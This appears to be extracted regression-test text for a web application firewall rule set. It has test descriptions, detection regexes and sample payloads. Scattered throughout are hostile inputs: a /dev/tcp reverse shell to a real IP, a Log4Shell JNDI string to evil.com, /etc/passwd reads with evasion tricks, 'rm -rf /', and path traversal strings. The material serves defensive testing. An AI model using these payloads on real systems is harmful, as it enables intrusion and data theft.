{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: [DM_QUERY_E_SYNTAX]error:  \"A Parser Error (syntax error) has occurred in the vicinity of:  select * from dm_folder where folder in\""}

(?i:\[DM_QUERY_E_SYNTAX\]|has occurred in the vicinity of:)


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: Dynamic SQL Error"}

Matching firebird SQL Information Leakage


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: SQL-status: HY000 [FrontBase Inc.][FrontBase ODBC]Semantic error 217. Datatypes are not comparable or don't match. Semantic error 485. Near: SELECT DISTINCT * FROM SALES WHERE DATE>='2014-04-01';. Semantic error 485. Near: '2014-04-01'. Exception 363. Transaction rollback."}

(?i)Exception (?:condition )?\d+\. Transaction rollback\.

Matching Frontbase SQL Information Leakage


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: at org.hsqldb.jdbc.JDBCDriver.connect(Unknown Source)"}


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: Exception in thread \"main\" java.sql.SQLException: An illegal character has been found in the statement."}

(?i:An illegal character has been found in the statement|com\.informix\.jdbc|Exception.*Informix)

Matching informix SQL Information Leakage


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: [5000A] [Actian][Ingres ODBC Driver][Ingres]Delimited identifier starting with '' contains no valid characters. (6692) (SQLExecDirectW)"}


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: Unexpected end of command in statement [SELECT * FROM INTO WHERE 'place'='xxxxxxx' AND 'yielddate' BETWEEN '01/11/2012' AND '29/11/2012''']."}

(?i:<b>Warning</b>: ibase_|Unexpected end of command in statement)

Matching interbase SQL Information Leakage


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: Warning: maxdb_query(): -8004 POS(62) Constant must be compatible with column type and length"}


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: PHP Warning:  mssql_query(): message: Incorrect syntax near 's'. (severity 15) in /Volumes/Data/Users/username/Desktop/createXML.php on line 375"}

(?i)(?:System\.Data\.OleDb\.OleDbException|\[Microsoft\]\[ODBC SQL Server Driver\]|\[Macromedia\]\[SQLServer JDBC Driver\]|\[SqlException|System\.Data\.SqlClient\.SqlException|Unclosed quotation mark after the character string|'80040e14'|mssql_query\(\)|Microsoft OLE DB Provider for ODBC Drivers|Microsoft OLE DB Provider for SQL Server|Incorrect syntax near|Sintaxis incorrecta cerca de|Syntax error in string in query expression|Procedure or function '.{1,128}' expects parameter|Unclosed quotation mark before the character string|Syntax error .* in query expression|Data type mismatch in criteria expression\.|ADODB\.Field \(0x800A0BCD\)|the used select statements have different number of columns|OLE DB.*SQL Server|Warning.*mssql_.*|Driver.*SQL[ _-]*Server|Exception.*\WSystem\.Data\.SqlClient\.|Conversion failed when converting the varchar value .*? to data type int\.)


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: Conversion failed when converting the varchar value 'secret' to data type int."}

(?i)(?:System\.Data\.OleDb\.OleDbException|\[Microsoft\]\[ODBC SQL Server Driver\]|\[Macromedia\]\[SQLServer JDBC Driver\]|\[SqlException|System\.Data\.SqlClient\.SqlException|Unclosed quotation mark after the character string|'80040e14'|mssql_query\(\)|Microsoft OLE DB Provider for ODBC Drivers|Microsoft OLE DB Provider for SQL Server|Incorrect syntax near|Sintaxis incorrecta cerca de|Syntax error in string in query expression|Procedure or function '.{1,128}' expects parameter|Unclosed quotation mark before the character string|Syntax error .* in query expression|Data type mismatch in criteria expression\.|ADODB\.Field \(0x800A0BCD\)|the used select statements have different number of columns|OLE DB.*SQL Server|Warning.*mssql_.*|Driver.*SQL[ _-]*Server|Exception.*\WSystem\.Data\.SqlClient\.|Conversion failed when converting the varchar value .*? to data type int\.)


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: ERROR 1772 (HY000): Malformed GTID set specification 'secret_password'."}

(?i)(?:supplied argument is not a valid |SQL syntax.*)MySQL|Column count doesn't match(?: value count at row)?|mysql_fetch_array\(\)|on MySQL result index|You have an error in your SQL syntax(?:;| near)|MyS(?:QL server version for the right syntax to use|qlClient\.)|\[MySQL\]\[ODBC|(?:Table '[^']+' doesn't exis|valid MySQL resul)t|Warning.{1,10}mysql_(?:[\(\)_a-z]{1,26})?|(?:ERROR [0-9]{4} \([0-9a-z]{5}\)|XPATH syntax error):


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: ERROR 1105 (HY000): XPATH syntax error: '\\secret'"}

(?i)(?:supplied argument is not a valid |SQL syntax.*)MySQL|Column count doesn't match(?: value count at row)?|mysql_fetch_array\(\)|on MySQL result index|You have an error in your SQL syntax(?:;| near)|MyS(?:QL server version for the right syntax to use|qlClient\.)|\[MySQL\]\[ODBC|(?:Table '[^']+' doesn't exis|valid MySQL resul)t|Warning.{1,10}mysql_(?:[\(\)_a-z]{1,26})?|(?:ERROR [0-9]{4} \([0-9a-z]{5}\)|XPATH syntax error):


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: Warning: pg_query(): supplied argument is not a valid PostgreSQL link resource in /var/www/sivusto/handler.php on line 56"}

(?i)P(?:ostgreSQL(?: query failed:|.{1,20}ERROR)|G::[a-z]*Error)|(?:pg_(?:query|exec)\(\) \[|org\.postgresql\.util\.PSQLException):|Warning.{1,20}\bpg_.*|valid PostgreSQL result|Npgsql\.|Supplied argument is not a valid PostgreSQL .*? resource|(?:Unable to connect to PostgreSQL serv|invalid input syntax for integ)er


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: ERROR:  invalid input syntax for integer"}

(?i)P(?:ostgreSQL(?: query failed:|.{1,20}ERROR)|G::[a-z]*Error)|(?:pg_(?:query|exec)\(\) \[|org\.postgresql\.util\.PSQLException):|Warning.{1,20}\bpg_.*|valid PostgreSQL result|Npgsql\.|Supplied argument is not a valid PostgreSQL .*? resource|(?:Unable to connect to PostgreSQL serv|invalid input syntax for integ)er


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: Warning: SQLite3::query() [sqlite3.query]: 1 values for 2 columns in /mysite/product.php on line 94"}


{"body": "[match sql-errors.data]the used select statements have different number of columns[/match]: Warning: Sybase: Server message: Changed database context to 'rdhiman'. (severity 10, procedure N/A) in guestfatch.php on line 10"}


Returns c:/inetpub(lower case) in the response body


{"body": "text=<title>404.14 - URL too long.</title>"}


{"body": "text=<title>500.15 - Server error: Direct requests for GLOBAL.ASA are not allowed.</title>"}


Path Traversal Attack Triple Dot (/.../)


Path Traversal Attack Triple Dot (/.../) encoded: foo=.../.../WINDOWS/win.ini


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Path Traversal Attack (/../) query string


none utf8toUnicode urlDecodeUni removeNulls cmdLine


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Path Traversal Attack (..\) query string


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Path Traversal Attack triple dot (.../) query string


------WebKitFormBoundaryABCDEFGIJKLMNOPQ
Content-Disposition: form-data; name="file"; filename="../1.7z"
Content-Type: application/octet-stream

BINARYDATA
------WebKitFormBoundaryABCDEFGIJKLMNOPQ--

none utf8toUnicode urlDecodeUni removeNulls cmdLine


------WebKitFormBoundaryABCDEFGIJKLMNOPQ
Content-Disposition: form-data; name="file"; filename="..\1.7z"
Content-Type: application/octet-stream

BINARYDATA
------WebKitFormBoundaryABCDEFGIJKLMNOPQ--

none utf8toUnicode urlDecodeUni removeNulls cmdLine


none utf8toUnicode urlDecodeUni removeNulls cmdLine

Path Traversal Attack (;..;) query string


none utf8toUnicode urlDecodeUni normalizePathWin

Remote File Access Attempt (930120) from old modsec regressions


none utf8toUnicode urlDecodeUni normalizePathWin


none utf8toUnicode urlDecodeUni normalizePathWin


none utf8toUnicode urlDecodeUni normalizePathWin


none utf8toUnicode urlDecodeUni normalizePathWin


none utf8toUnicode urlDecodeUni normalizePathWin


none utf8toUnicode urlDecodeUni normalizePathWin


none utf8toUnicode urlDecodeUni normalizePathWin


none utf8toUnicode urlDecodeUni normalizePathWin

YM9WT5NU
Disallow writing files to /tmp/


none utf8toUnicode urlDecodeUni normalizePathWin


none utf8toUnicode urlDecodeUni normalizePathWin


none utf8toUnicode urlDecodeUni normalizePathWin

False positive test.
Don't match .dockery in email address (matching .docker)


none utf8toUnicode urlDecodeUni normalizePathWin

True positive test.
Accessing hidden folder .docker


none utf8toUnicode urlDecodeUni normalizePathWin

True positive test.
Accessing compressed database dump


Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Havij

Request Indicates a Security Scanner Scanned the Site (913100) from old modsec regressions


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace

console.info test (JavaScript escape sequences)


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace

process.env test (square bracket property access)


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace

console.info test (square bracket property access)


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


none urlDecodeUni jsDecode removeWhitespace base64Decode urlDecodeUni jsDecode removeWhitespace


positive test case with space evasion, CVE-2021-20084, 2/2


positive test case with GET parameter, jQuery $.get


positive test case with GET parameter, V4Fire Core Library


positive test case with GET parameter, analytics-utils < 1.0.3


positive test case with GET parameter, Vue.js


Detect example payload [constructor][prototype]


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments

while truthy with negation (false positive)


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments

Detect example DoS loop while(true) submitted as plaintext


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments

Detect example DoS loop while(true) submitted as plaintext with JavaScript escape sequence obfuscation


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments

Detect example DoS loop while(true) submitted as plaintext that has been Base64 encoded


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments

Detect example DoS loop while(true) submitted as plaintext with JavaScript escape sequence obfuscation that has been Base64 encoded


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode replaceComments

Detect example DoS loop while(true) submitted as plaintext that has been Base64 encoded and then obfuscated with JavaScript escape sequences


SSRF - data: scheme test - IN2OZO3N coverage


Negative test - data:// should not match


Status Page Test - SSRF - data: scheme test - simple trigger, isolated test


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode


none urlDecodeUni jsDecode base64Decode urlDecodeUni jsDecode


SSRF - IPv4, Dotless decimal with overflow


SSRF - IPv4, Dotless hexadecimal with overflow


SSRF - IPv4, dotted, two bytes decimal, two bytes octal


SSRF - IPv4, dotted, one byte decimal, three bytes octal


SSRF - Dotless hexadecimal with overflow - Negative tests


SSRF - Negative tests - IPv4, dotted, one byte decimal, three bytes octal


SSRF - Enclosed alphanumerics 1 - digits


SSRF - Enclosed alphanumerics 2 - digits


SSRF - IPv6, first byte full, rest compressed


SSRF - IPv6, first byte full, last byte full, rest compressed


SSRF - IPv6, link-local unicast with zone ID, compressed


SSRF - IPv6, link-local unicast with zone ID, full


----------397236876
Content-Disposition: form-data; name="file"; filename="http://2852039166/?.txt"
Content-Type: text/plain

My epic SSRF attempt

----------397236876--

SSRF - Input variable coverage test (Dotless decimal)


SSRF - local_file:// url scheme - Dotless decimal


SSTI attack - Using Curly Braces Plus Percentage Sign


SSTI attack - Using Angle Brackets and Percentage Sign


SSTI attack - Using Angle Brackets, Percentage Sign, and Equal Sign


{"body": "ViewStateException: Invalid viewstate detected."}


{"body": "HttpRequestValidationException: A potentially dangerous Request.Form value was detected."}


{"body": "HttpCompileException: Compilation error occurred while processing the request."}


{"body": "HttpParseException: Error parsing the HTTP request."}


{"body": "HttpUnhandledException: An unexpected error occurred."}


{"body": "HttpRequestWrapper: Error handling HTTP request wrapper."}


{"body": "HttpServerUtilityWrapper: Error handling server utility wrapper."}


{"body": "HttpSessionStateWrapper: Error handling session state wrapper."}


{"body": "HttpStaticObjectsCollectionWrapper: Error handling static objects collection wrapper."}


'File size is' leads to FPs, it should not match at PL1


'Invalid date' Wordpress FP, it should not match at PL1


'The function' might lead to FPs, it should not match at PL1


'Static function' might lead to FPs, it should not match at PL1


'cannot be empty is too common for PL1 GH isue #3399


{"body": "<?php echo \"Hello World!\n\" ?>"}


Negative test, returns <?php12345, should not match


{"body": "<?PhP echo \"Hello World!\n\" ?>"}


{"body": "Maximum allowed file size is 10 MB"}

(?i)Empty string|F(?:ile size is|reeing memory)|Header (?:name )?\"|Invalid date|No active class|(?:Out of memor|cannot be empt)y|Pa(?:ir level|ssword is too long)|Re(?:ading file|starting!)|S(?:ession is not active|tatic function\b)|T(?:elling\.\.\.|he function\b)|(?:Unknown reas|invalid opti)on|e(?:mpty password|rror reading)

'File size is' leads to FPs at PL1, it should match at PL2


(?i)Empty string|F(?:ile size is|reeing memory)|Header (?:name )?\"|Invalid date|No active class|(?:Out of memor|cannot be empt)y|Pa(?:ir level|ssword is too long)|Re(?:ading file|starting!)|S(?:ession is not active|tatic function\b)|T(?:elling\.\.\.|he function\b)|(?:Unknown reas|invalid opti)on|e(?:mpty password|rror reading)

'Invalid date' leads to FPs at PL1, it should match at PL2


(?i)Empty string|F(?:ile size is|reeing memory)|Header (?:name )?\"|Invalid date|No active class|(?:Out of memor|cannot be empt)y|Pa(?:ir level|ssword is too long)|Re(?:ading file|starting!)|S(?:ession is not active|tatic function\b)|T(?:elling\.\.\.|he function\b)|(?:Unknown reas|invalid opti)on|e(?:mpty password|rror reading)

'The function' might lead to FPs at PL1, it should match at PL2


(?i)Empty string|F(?:ile size is|reeing memory)|Header (?:name )?\"|Invalid date|No active class|(?:Out of memor|cannot be empt)y|Pa(?:ir level|ssword is too long)|Re(?:ading file|starting!)|S(?:ession is not active|tatic function\b)|T(?:elling\.\.\.|he function\b)|(?:Unknown reas|invalid opti)on|e(?:mpty password|rror reading)

'Static function' might lead to FPs at PL1, it should match at PL2


(?i)Empty string|F(?:ile size is|reeing memory)|Header (?:name )?\"|Invalid date|No active class|(?:Out of memor|cannot be empt)y|Pa(?:ir level|ssword is too long)|Re(?:ading file|starting!)|S(?:ession is not active|tatic function\b)|T(?:elling\.\.\.|he function\b)|(?:Unknown reas|invalid opti)on|e(?:mpty password|rror reading)

'cannot be empty is too common for PL1, it should match at PL2 GH isue #3399


{"body": "Additional features to extend the functionality of W3 Total Cache"}

(?i)Empty string|F(?:ile size is|reeing memory)|Header (?:name )?\"|Invalid date|No active class|(?:Out of memor|cannot be empt)y|Pa(?:ir level|ssword is too long)|Re(?:ading file|starting!)|S(?:ession is not active|tatic function\b)|T(?:elling\.\.\.|he function\b)|(?:Unknown reas|invalid opti)on|e(?:mpty password|rror reading)

Use a word boundary on 'The function' to reduce false alarms at PL-2


System Command Injection (932230) from old modsec regressions


True Positive Fix Test 1 ISO-8859-2, ISO-8859-3, ISO-8859-4, ISO-8859-5, ISO-8859-6, ISO-8859-7, ISO-8859-8, ISO-8859-10, ISO-8859-14, ISO-8859-15 are affected because the chars are encoded as decimal html %26%238222%3B and %26%238221%3B entities


Like 932230-3 but instead of space sign using new line sign


Another html entity - decimal 9977 (person with ball) with space sign after entity and dot


Another html entity - decimal 128 (euro) with new line sign after entity and dot


arg value of ";ifconfig Something „The Title”. After space or new line more characters" is blocked


arg value of "Something „The Title”. After ;ifconfig something" is blocked


Positive test - RCE passed in one of the args


RCE from test 932230.yaml combined with html entities in the middle


RCE from test 932230.yaml combined with html entities at the beginning


RCE from test 932230.yaml combined with html entities at the end


RCE from https://github.com/payloadbox/command-injection-payload-list and html entities


RCE from https://github.com/payloadbox/command-injection-payload-list combined with html entities


RCE ;top with html entities two digit decimal of 59 (;)


Like rule True Negative Rule Integrity 9 but the html entity is concatenation with RCE at the end


Like rule True Negative Rule Integrity 9 but the html entity is concatenation with RCE at the beginning


Like rule True Negative Rule Integrity 10 but the html entity is concatenation with RCE at the end


Like rule True Negative Rule Integrity 10 but the html entity is concatenation with RCE at the beginning


Like rule True Negative Rule Integrity 11 but the html entity is concatenation with RCE at the end


Like rule True Negative Rule Integrity 11 but the html entity is concatenation with RCE at the beginning


RCE in arg and html entity is sent in cookie


Test RCE with new semantic versions - ;gcc10.1


Test RCE with new semantic versions - ;irb31


System Command Injection bypass with time negative test


System Command Injection test for BB finding 935E1D91


System Command Injection test for BB finding 935E1D91 - time evasion attempt


System Command Injection test for BB finding AV6ZO3ZS - mixed case


System Command Injection test for BB finding 9JJOOBTP - sh -c


Negative test on German numbering - Schauen Sie sich diese Zahl an: 1'000'000


Positive test - BB BBBZARPI - d=/dev&&(sh)0>$d/tcp/51.15.142.164/777


code=;c89 -wrapper sh,-c,curl\ google.com .


Block execution of env command with arguments


Block evasion using here string with space


Block evasion using here string with single quotes


Block evasion using here string with double quotes


Block evasion using here string with command substitution


Bash - Arithmetic expansion ($[...]).
Payload: $[$(sh -c 'echo 1')+2]


code=;find /etc -name passwd -exec cat {} +


code=;cd /;cd etc;base32 passwd|base32 -d


Block execution of perf command with arguments


code=time; ansible-galaxy collection install community.general

Block installing collections from ansible galaxy


Block ad-hoc ansible commands using ansible-console


Block dumping ansible inventory file and variables


code=time; ansible-pull --url example.com

Block ansible pull from remote repository


Block decryption of secrets with chef-vault


Block execution chef recipie book against a specific node


FP against 'Times & Schedule` for `sched`


payload=Die untere Dortmunder Straße; links Haus Nr. 104, das stadteinwärts (rechts) längere Zeit ohne Nachbarhaus geblieben war.

FP against `Straße; links Haus Nr. 104` matching `; links`


payload=He was working three full-time jobs at Meta, IBM, and Tinder.

FP against `three full-time jobs` matching `full-time jobs`


payload=now-legendary take on Catwoman turned the character into a timeless cinematic icon.

FP against `a timeless cinematic icon` matching `timeless`


payload=Sophomore Deon King Jr. received some playing time last year as a freshman and totaled 12 tackles.

FP against `some playing time last year` matching `time last`


payload=La cantante veneta annulla le ultime date del suo tour estivo.

FP against `annulla le ultime date` matching `ultime date`


payload=The best time to watch local birds is June–August and the best time for migratory birds is November–February.

FP against `The best time to watch local birds` matching `time to watch local`


payload=Search data can thus provide an alternative, real time source of data on migration intentions.

FP against `real time source of data` matching `time source`


payload=Back in the UK, we sped through the UK Border at Stansted in record time (less than 1 minute!) and uploaded this report from the rather flatter rocks of Stansted Airport train station platform (but thankfully they are still sunny!

FP against `in record time (less than 1 minute!)` matching `time (less`


payload=Elle interdit à une société de droit privé – le Swatch Group – de livrer ses concurrents après l’avoir forcé pendant des années à livrer ces mêmes clients.

FP against `privé – le Swatch Group – de` matching `swatch group`


code=Compra a MODULAR ALUMINIO ESTRUCTURAL, STRUT PROFILE PG30 30X30 4 SLOTS | SELF TAPPING SCREW PG30 M1


932120-4=Invoke Web Request http://example.com/path/file.ps1


payload=Ihre kleine Schwester ist französisches Esskulturgut; man gönnt sie sich.


payload=Mi szép, mi édes azt szeretni a’ kinek kifolyása mind az a’ szép a’ mit itten látunk! ezt mondád, ’s mellyedre szorítál engemet, ’s könyűkre fakadtál; mi szép az, midőn tetteinknek mindeggyike megnyeri az azokat szemlélő Angyalok’ javalásaikat!


payload=C’est simple: si les feux sont au vert sur la carrosserie, l’assistance peut intervenir sur un véhicule accidenté; si cela vire au rouge et qu’une alarme résonne, un danger électrique haute tension subsiste.


Log4J exploit picked up by shell exploit detection in body


Unix command injection - character set bypass technique


Unix command injection - character set bypass - negative test


FP when using `t:urlDecodeUni`.
Using `t:urlDecodeUni` removes the `+` from the encoded value in the XML document,
which produced a false positive match.
See https://github.com/coreruleset/coreruleset/issues/1785


Bash Tilde expansion(Negative test) - ~z


932250-2=tar -xzf /var/www/exfiltrate.tar.gz /etc

Negative test for excluded command `tar`


932250-2=dont match commands that are not at start;tar -xzf /var/www/exfiltrate.tar.gz /etc


foo=tar is a dark brown or black bituminous usually odorous viscous liquid


Positive test: Unix Command Injection - ksh test


Arithmetic expansion '$(())' WAF evasion (mid command)


'ls' direct command injection (no flags)


'ls' direct command injection (no slashes)


932260-2=dont match commands that are not at start;tar -xzf /var/www/exfiltrate.tar.gz /etc


Unix Command Injection - python version bypass test


Unix Command Injection - printf bypass test


Positive test: Data exfiltration with gunzip


Positive test: Data exfiltration with zstdcat


Positive test: Unix Command Injection - busybox test


Remote Command Execution bypass with time


Remote Command Execution bypass with time negative test


Remote Command Injection test for BB finding 935E1D91


Remote Command Injection test for BB finding 935E1D91 - time evasion attempt


System Command Injection test for BB finding AV6ZO3ZS - mixed case


False positive test: 'evaluation' (FP while rule looks for 'eval')


False positive test: 'schedule' (FP while rule looks for 'sched')


FP against name 'Perlak' (matches 'perl')


Block execution of perf command with arguments


Match despite quote evasion attempt.
932260 accidentally contained a chain rule for some time that enabled
trivial bypasses, by excluding matches against number separators (see 932240).


code=ansible-galaxy collection install community.general

Block installing collections from ansible galaxy


Block ad-hoc ansible commands using ansible-console


Block dumping ansible inventory file and variables


Block ansible pull from remote repository


Block decryption of secrets with chef-vault


Block execution chef recipie book against a specific node


Test for false positive with name Axel Smith


code=Compra a MODULAR ALUMINIO ESTRUCTURAL, STRUT PROFILE PG30 30X30 4 SLOTS | SELF TAPPING SCREW PG30 M1


Unix shell history invocation: relative position


932160-2=/usr/bin/perl -e 'print readline' some-file.txt


932160-2=dont match commands that are not fully qualified like bash python and perl.


Negative test: Don't match against the word zip


Positive test: Triggering only this rule and no other one


Positive test: Unix Command Injection - $SHELL test


Positive test: Unix Command Injection - ${SHELL} test


Positive test: Match against bin/ansible


Test for 0FA9HCGT alias eennvv=env&eennvv whoami


Test for alias value with single quoting


Status Page Test - Test for simple alias example


Test for alias with zsh '+' flags.
Payload: "alias +m a=b"


Test for alias with trailing '+' in a flag.
Payload: "alias +g+ a=b"


------WebKitFormBoundaryABCDEFGIJKLMNOPQ
Content-Disposition: form-data; name="config"; filename="config.yml"
Content-Type: text/yaml

... Some content ...
------WebKitFormBoundaryABCDEFGIJKLMNOPQ
Content-Disposition: form-data; name="image"; filename="test.png"
Content-Type: image/png

BINARYDATA
------WebKitFormBoundaryABCDEFGIJKLMNOPQ--

Test file upload with multipart/form-data and filename config.yml


------WebKitFormBoundaryABCDEFGIJKLMNOPQ
Content-Disposition: form-data; name="image"; filename="test.jpg"
Content-Type: image/jpeg

... Some content ...
------WebKitFormBoundaryABCDEFGIJKLMNOPQ

BINARYDATA
--0000--


Windows Command Injection true positive test


Windows Command Injection true negative test


Windows Command Injection bypass with time negative test


False positive: matching `at` after newline


Windows shell command injection with 'bcdboot': view=image.jpg%26bcdboot < file.txt
Match input redirection to bcdboot


Windows shell command injection with 'bcdboot': view=image.jpg%26bcdboot /r file.txt
Match bcdboot with normal argument


Windows shell command injection with 'bcdboot': view=image.jpg%26bcdboot/r file.txt
Match bcdboot with argument without preceding space


Windows shell command injection with 'bcdboot': view=image.jpg%26bcdboot  /r file.txt
Match bcdboot with argument with multiple preceding space


Windows shell command injection with 'sort' (false positive): sort%3Dex%26sort%3Dascending
Do not match query parameter


Windows shell command injection using 'bcdboot'


payload=While this is a challenging time for us all, we are busy helping customers manage playout infrastructure in ways that were just dreams only a couple of years ago.


payload=El primer avión de la aerolínea fue en Curtiss Robin; voló rutas domésticas como transporte de correos y pasajeros.


payload=This street is the home of the Foreign Office, Mycroft's place of work; where the Mazarin Stone was stolen, and Percy Phelps chased the thief of the naval treaty.


payload=A brief overview of methods is presented here; for detailed coverage, see the cross-referenced articles.


payload=I have no money, but I’m gonna push through; if nothing happens by the end of next year, it’s a sign I need to move back home.


Windows Command Injection: at command injection scheduling a command


Known false positive: matching `at` after newline


True Negative Rule Integrity 1
arg value of "ifconfig;. rm -rf /; Something „The Title”. After space or new line more characters" is blocked


OWASP CRS test agent ${:1337:-x$}{jndi:ldap://evil.com/webshell}


mozilla/5.0(linux android 12 sm-a528b build/sp1a.210812.016 wv) applewebkit/537.36(khtml like gecko) version/4.0 chrome/110.0.5481.154 mobile safari/537.36 [fb_iab/fb4a fbav/403.0.0.27.81 ]

False positive against Facebook for Android user agent


Test first backslash match ([*?`\\][^/\n]+/) with: c\at /etc/passwd


Test second backslash match (/[^/]+?[*?`\\']) with: cat /etc/p\asswd


Test variable assignment ('cat /etc/passwd' assigned via individual variables, cat in reverse order)


False positive test against syntax highlighter (generic)


False positive test against fragment (scroll to text fragment)


Referer with command injection in URL Fragment


Test for BB finding 9P5LL13Y
echo "foo;whxam"i | tr x o | sh #"


Block evasion using here string with space


Block evasion using here string with single quotes


Block evasion using here string with double quotes


Block evasion using here string with command substitution


globbing technique 1: garb=cur[l];$garb+google.com (BB X)


globbing technique 2: {n$u\c$u,-nlvp,777} (BB X)


vars + spacing: v="u";cu$v\\r\l google.com (BB X)


vars + spacing: non-existing vars: cu$@rl (BB X)


Negative test on German numbering - Schauen Sie sich diese Zahl an:1'000'000


Unix Command Injection - python version bypass test


Backticks command subtition WAF evasion (mid command)


Dollar sign command subtition WAF evasion


Dollar sign command subtition WAF evasion (mid command)


Process subtition '<()' WAF evasion (mid command)


Process subtition '>()' WAF evasion (mid command)


payload=All told, people were taken with the concept of Stadia, but the execution just didn't work.


payload=An affordable housing advocate says the city's rewrite of the land development code would boost affordable housing, but there's room to do more.

False positive against quote evasion with two quotes


False Positive URL encoded JSON payloaded
{"name":"John Doe","age":"30","email":"johndoe@example.com"}


Urlencoded form array
["account","sharing"]


Bash Brace expansion - {,/?s?/?i?/c?t,/e??/p??s??,}


False Positive: json payload with no spaces
payload: `[{"value":true,"key":"enabled","scope":"fileRequest"}]`


False Positive: json payload with empty curly braces
payload: `{"single_blog_post_related_order_meta_first":[{},{}]}`


Bash Tilde expansion(Negative test) - ~+z


